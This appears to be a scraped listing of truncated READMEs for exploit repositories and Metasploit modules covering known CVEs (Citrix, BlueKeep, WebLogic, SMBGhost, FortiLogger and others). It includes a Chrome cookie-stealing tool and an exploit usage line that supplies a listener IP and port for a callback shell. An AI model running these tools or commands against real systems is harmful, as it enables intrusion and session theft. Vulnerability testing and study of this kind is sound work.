citrix_adc_netscaler_lfi

citrixadcnetscalerlfiscan 此Metasploit-Framework模块可用于帮助公司检查最近的Citrix漏洞（2020年7月8日披露）。 CVE-2020-8193 CVE-2020-8195 CVE-2020-8196 Donny Maasland 于2020年7月8日公开报道，讨论了该漏洞如何被利用。 截至2020年7月10日，RIFT 已确认该漏洞可用于从易受攻击的实例中提取有效的VPN会话。 在Twitter上了解更多信息： Citrix 为影响多个产品的11个新漏洞发布关键补丁 黑客积极扫描并不断尝试利用 Citrix ADC 漏洞 请求 0x1...

CVE-2015-3306-Python-PoC

CVE-2015-3306-Python-PoC 这是从 metasploit 模块调整转换而来，作为 OSCP 学习和漏洞利用开发的练习。它最初来自用 searchsploit 搜索随机远程命令执行模块。我分析了 metasploit 代码并将其转换成了 python。 验证截图：...

emby_ssrf

msfemby Esta herramienta comprobará un servidor EMBY remoto para intentar utilizar una vulnerabilidad SSRF y realizar un escaneo http de la red interna del servidor EMBY. Está basada en la vulnerabilidad CVE-2020-26948. Instalación Clona el repositorio y coloca los archivos rb en el directorio...

Bluekeep-Hunter

Bluekeep-Hunter CVE-2019-0708 这将使用metasploit模块来扫描并检查是否存在CVE-2019-0708。 其目的是检查并确认组织中的计算机是否真正存在漏洞，而不是简单地检查版本或其他未满足的参数。此检查器解决了该问题。它将搜索和利用漏洞，只需从IT经理处获取IP列表。这使得安全部门的工作量减少了10倍。迄今为止，针对Active Directory最常见的攻击是EternalBlue。 安装和使用： 要安装，请克隆此仓库。 cd Bluekeep-Hunter chmod +x bluekeephunter.sh ./bluekeephunter.sh...

Modified-CVE-2020-10915-MsfModule

修改版-CVE-2020-10915-MsfModule 这不是原始漏洞利用程序。这是一个针对 THM 盒子的审计版本。 以下是原始漏洞、tryhackme 盒子以及我对该盒子的 writeup 的链接： https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/misc/veeamoneagentdeserialization.rb https://tryhackme.com/room/set...

cve-2013-3319

cve-2013-3319 metasploit 模块，用于 CVE-2013-3319 / SAP Security Note 1816536 已弃用 ：使用 metasploit 中的 saphostctrlgetcomputersystem。仅出于历史目的保留。 完整公告：http://labs.integrity.pt/advisories/cve-2013-3319/...

CVE-2019-15029

CVE-2019-15029 FusionPBX v4.4.8 远程代码执行漏洞 CVE-2019-15029 的官方利用代码 Metasploit 模块 我编写了一个简单的 Metasploit 模块来利用此漏洞 fusionpbxservices.rb，你只需下载它并将其复制到 metasploit 模块目录中即可。...

metasploit-ldapnightmare

metasploit-ldapnightmare SafeBreaches CVE-2024-49113 POC（LdapNightmare）集成到 Metasploit 概述 本模块实现了 CVE-2024-49113，这是一个 Windows LDAP 客户端中的严重漏洞，可能导致系统不稳定。该模块与 Metasploit 框架集成，为测试系统对该漏洞的抵御能力提供了一种可靠的方法。 特性 完整的 Metasploit 框架集成 异步 LDAP 服务器实现 可配置参数，用于测试不同场景 详细的日志记录和状态报告 内置安全检查与依赖验证 要求 Python 3.5 或更新版本...

cookie_crimes

无需 Root 权限的 Chrome Cookie 提取 该工具会打印用户的 Chrome 浏览器 Cookie。你无需知道他们的密码，也无需 root 权限就能使用。非常棒非常棒非常棒非常棒。 如果你不是那种经常能在别人电脑上执行代码的人，那你大概不会在意这个。 特性 以精美的 JSON 格式打印所有 Chrome Cookie 无需 root 权限或用户密码即可工作 支持 Windows、Linux、macOS 实际上也支持 Microsoft Edge 浏览器 从任意 Chrome 用户配置文件中获取 Cookie 永远不会已读不回 能烤出一份像样的千层面 可编译为单个二进制文件...

CVE-2014-6271-IPFire

CVE-2014-6271 CVE-2014-6271 的 Python 实现：IP Fire =2.15 ShellShock RCE 基于同一漏洞利用的 Metasploit 模块（EDB ID: 34839） 该漏洞利用程序可自动运行。查看 ./CVE-2014-6271.py --help 获取全部开关选项 警告： 本仓库中的代码仅可用于学术/道德目的。作者不认可将此漏洞利用用于任何其他目的——它只能用于您拥有或已获授权测试的系统。...

CVE-2017-10271

CVE-2017-10271 WebLogic wls-wsat 组件反序列化漏洞 CVE-2017-10271 检测与利用脚本 用法 root@kitploit: $ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/ 特性 独立 Python 脚本 检测功能：查看任意主机是否存在漏洞 利用功能：针对 Linux 目标 Metasploit 模块 检测功能：查看任意主机是否存在漏洞 利用功能：针对所有目标 扫描器 ./scanners 检查主机是否存在漏洞。完全自包含 法律声明...

CVE-2020-1938-MSF-MODULE

CVE-2020-1938-MSF-MODULE Versión modificada de auxiliary/admin/http/tomcatghostcat, Lee cualquier archivo Sobrescribe el archivo /metasploit-framework/modules/auxiliary/admin/http/tomcatghostcat.rb y reinicia msfconsole para ejecutar reloadall. Luego puedes usar el módulo...

NetMRI-2014-3418

NetMRI-CVE-2014-3418 - Módulo de Metasploit Módulo de Metasploit de inyección de comandos del sistema operativo en InfoBlox Network Automation Producto: Network Automation root@kitploit: NetMRI Switch Port Manager Automation Change Manager Security Device Controller Proveedor: root@kitploit:...

pipe_finder

Pipe Finder 1.0 在SMB协议中自动搜索可用管道名称的脚本 截图 依赖要求 metasploit-framework wget locate pipeauditv2.rb 模块 https://github.com/peterpt/pipeauditorfb - 将在首次运行时安装 安装依赖 apt-get install metasploit-framework wget locate && updatedb updatedb 仅用于缓存 "locate" 搜索数据库，以便获取 metasploit-framework 目录 运行方式 git clone...

CVE-2016-2776

CVE-2016-2776 一个DNS数据包的故事，详细解析和BIND CVE-2016-2776的概念验证。 http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html 在此仓库中，您将找到： 概念验证 namedown.py Metasploit辅助模块 namedown.rb...

CVE-2015-1578-PoC-Metasploit

CVE-2015-1578 Metasploit 模块 概述 这是针对 CVE-2015-1578 的一个 Metasploit 模块，该漏洞是 Windows 上 Achat 0.150 beta7 中的一个缓冲区溢出漏洞。利用该漏洞可通过特制的 UDP 数据包实现远程代码执行。 目的 本模块旨在作为 Metasploit 漏洞利用开发的一个简洁、最小且结构良好的示例。它演示了： 通过 msfvenom 动态生成 Unicode 编码的 shellcode 手动注入 payload（绕过 Metasploit 内部的 payload 编码器） 基于 UDP 的简单投递机制...

CVE-2016-0752

利用CVE-2016-0752 此应用作为利用CVE-2016-0752的易受攻击的概念验证。更多信息请参考这篇博客文章，其中解释了漏洞、利用所需步骤、修复方法以及Metasploit模块的链接。 开始使用 root@kitploit: echo "" log/development.log Clear out the log file rvm use 2.2.3 bundle rails s 易受攻击的URL：http://localhost/users/dashboard...

CVE-2021-22005-metasploit

CVE-2021-22005-metasploit 关于CVE-2021-22005的metasploit脚本POC/EXP，VMware vCenter Server包含一个任意文件上传漏洞 准备 POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir -p /.msf4/modules/auxiliary/scanner/http cp...

SMBGhost-LPE-Metasploit-Module

SMBGhost-LPE-Metasploit-Module 这是一个针对CVE-2020-0796（又名SMBGhost）漏洞的实现，兼容Metasploit Framework。 注意事项： 此模块设计为在您拥有有效Shell时用于提升权限。 您可以更改有效载荷，如果您想使用自定义的DLL Shellcode，或者以某种方式对其进行编码。 可执行文件经过修改以规避检测，并使其能够运行并注入DLL Shellcode。 演示 致谢 感谢漏洞利用的作者 Daniel García Gutiérrez, Manuel Blanco Parajón。 同时感谢Spencer...

fortilogger_arbitrary_fileupload

CVE-2021-3378 | FortiLogger - 未认证任意文件上传（Metasploit） 日期: 30-01-2021 漏洞作者: Berkan Er [email protected] 厂商主页: https://www.fortilogger.com/ 软件链接: https://www.fortilogger.com/download 版本: 4.4.2.2 测试环境: Windows 10 Enterprise x64 CVE: 2021-3378 披露日期: 26-02-2021 该模块利用不安全的POST请求实现未认证的任意文件上传。已在Windows...